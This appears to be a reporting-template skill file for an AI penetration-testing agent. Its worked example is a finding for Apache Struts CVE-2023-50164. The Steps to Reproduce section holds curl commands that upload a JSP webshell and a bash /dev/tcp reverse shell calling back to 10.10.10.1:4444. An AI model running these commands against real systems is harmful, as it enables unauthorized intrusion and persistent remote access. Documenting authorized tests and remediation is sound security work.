reporting

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# Exploitation Reporting Knowledge Base

Exploitation findings are only operationally useful when documented with enough precision that anyone can reproduce the access, understand the impact, and trace the full attack path. This skill defines how to structure, score, and persist exploitation findings within the Decepticon engagement directory.

## 1. Exploitation Finding Template

Every successful exploitation MUST produce a finding Markdown file in `/workspace/findings/` named `{severity}-{slugified-title}.md`. The `id` field in YAML frontmatter (`FIND-001`, `FIND-002`, ...) is the canonical cross-reference — determine the next ID by counting existing files.

```markdown
---
id: FIND-001
severity: CRITICAL
cvss_score: 9.3
cvss_vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
cwe: CWE-78
mitre: T1190
affected_target: 10.0.1.50
affected_component: "Apache Struts 2.5.30 — /struts2/upload.action"
confidence: confirmed
objective_id: OBJ-EXP-001
phase: initial-access
agent: exploit
detected: false
remediation_priority: immediate
discovered_at: "2026-04-06T14:32:00Z"
---

# [CRITICAL] Remote Code Execution via Apache Struts CVE-2023-50164 on 10.0.1.50:8080 — Root Shell Achieved

## Description

Apache Struts 2.5.30 is vulnerable to CVE-2023-50164, a file upload path traversal flaw in the `FileUploadInterceptor`. An unauthenticated attacker can manipulate the `Upload-Dir` parameter during a multipart upload request to traverse outside the intended upload directory and write an arbitrary file — including a JSP webshell — to the web root. This achieves unauthenticated remote code execution as the Tomcat service account.

The vulnerability exists because `FileUploadInterceptor` does not canonicalize the destination path before writing, allowing `../` sequences to escape the configured upload directory.

## Steps to Reproduce

```bash
# 1. Confirm the target is running Struts (identified during recon)
curl -s -I http://10.0.1.50:8080/struts2/ | grep -i server

# 2. Generate the malicious multipart upload request
# Upload a JSP webshell to /struts2/../shell.jsp (resolves to web root)
curl -s -X POST http://10.0.1.50:8080/struts2/upload.action \
  -F "Upload=@/tmp/shell.jsp;type=image/jpeg" \
  -F "Upload-Dir=../." \
  -o /workspace/target/findings/evidence/FIND-001_upload_response.txt

# 3. Confirm shell placement
curl -s http://10.0.1.50:8080/shell.jsp?cmd=id \
  -o /workspace/target/findings/evidence/FIND-001_rce_confirm.txt

# 4. Upgrade to reverse shell
curl -s "http://10.0.1.50:8080/shell.jsp?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.10.1/4444+0>%261'" &
nc -lvnp 4444
```

## Proof of Exploitation

```
# whoami output on compromised host
tomcat

# id output
uid=52(tomcat) gid=52(tomcat) groups=52(tomcat)

# hostname
app01.internal.example.com

# uname -a
Linux app01.internal.example.com 5.15.0-1034-aws #38-Ubuntu SMP x86_64 GNU/Linux

# ip addr (abridged)
inet 10.0.1.50/24 brd 10.0.1.255 scope global eth0
inet 10.0.2.1/24 brd 10.0.2.255 scope global eth1
```

## Access Achieved

| Target | Access Level | Method | Credentials Used | Persistence Status |
|--------|-------------|--------|------------------|--------------------|
| 10.0.1.50:8080 (app01) | Remote Code Execution (tomcat) | CVE-2023-50164 — JSP webshell | None (unauthenticated) | Webshell at /shell.jsp |

## Impact

An unauthenticated attacker has OS-level command execution as the `tomcat` service account on `app01.internal.example.com`. The host has dual-network interfaces (10.0.1.0/24 external-facing + 10.0.2.0/24 internal), making it a pivot point into the internal network segment. From this position an attacker can:

- Enumerate and access internal services on 10.0.2.0/24 not reachable externally
- Read application configuration files containing database credentials
- Install a persistent reverse shell or C2 implant
- Escalate privileges via local kernel or sudo misconfigurations

## Evidence

| Type | Path | Description |
|------|------|-------------|
| HTTP response | findings/evidence/FIND-001_upload_response.txt | Server response confirming file write |
| RCE confirmation | findings/evidence/FIND-001_rce_confirm.txt | Output of `id` command via webshell |
| Shell session log | findings/evidence/FIND-001_shell_session.txt | Full interactive shell transcript |
| Payload | findings/evidence/FIND-001_shell.jsp | JSP webshell payload used |

## Detection Gap Analysis

| Control | Status | Notes |
|---------|--------|-------|
| WAF | Not triggered | Multipart upload traffic not inspected |
| IDS/IPS | Not triggered | No signature match for Struts exploit pattern |
| EDR | Not triggered | Tomcat process spawning child processes not alerted |
| SIEM | No alert | No rule for unexpected JSP file creation in web root |
| File integrity monitoring | Not detected | Web root not monitored for new .jsp files |

Exploitation was not detected. The upload blended with normal application traffic. The JSP webshell at `/shell.jsp` remained accessible for the duration of testing with no automated response.

## Remediation

1. **Patch immediately**: Upgrade Apache Struts to 2.5.33 or 6.3.0.2+ (fix for CVE-2023-50164)
2. **Restrict file uploads**: Validate and canonicalize upload paths server-side; reject `../` sequences
3. **Limit web root writability**: Run Tomcat with a read-only web root; use a separate upload directory outside the document root
4. **Deploy WAF rule**: Block multipart uploads containing path traversal sequences in field values

From dazeb/botron, Apache-2.0.

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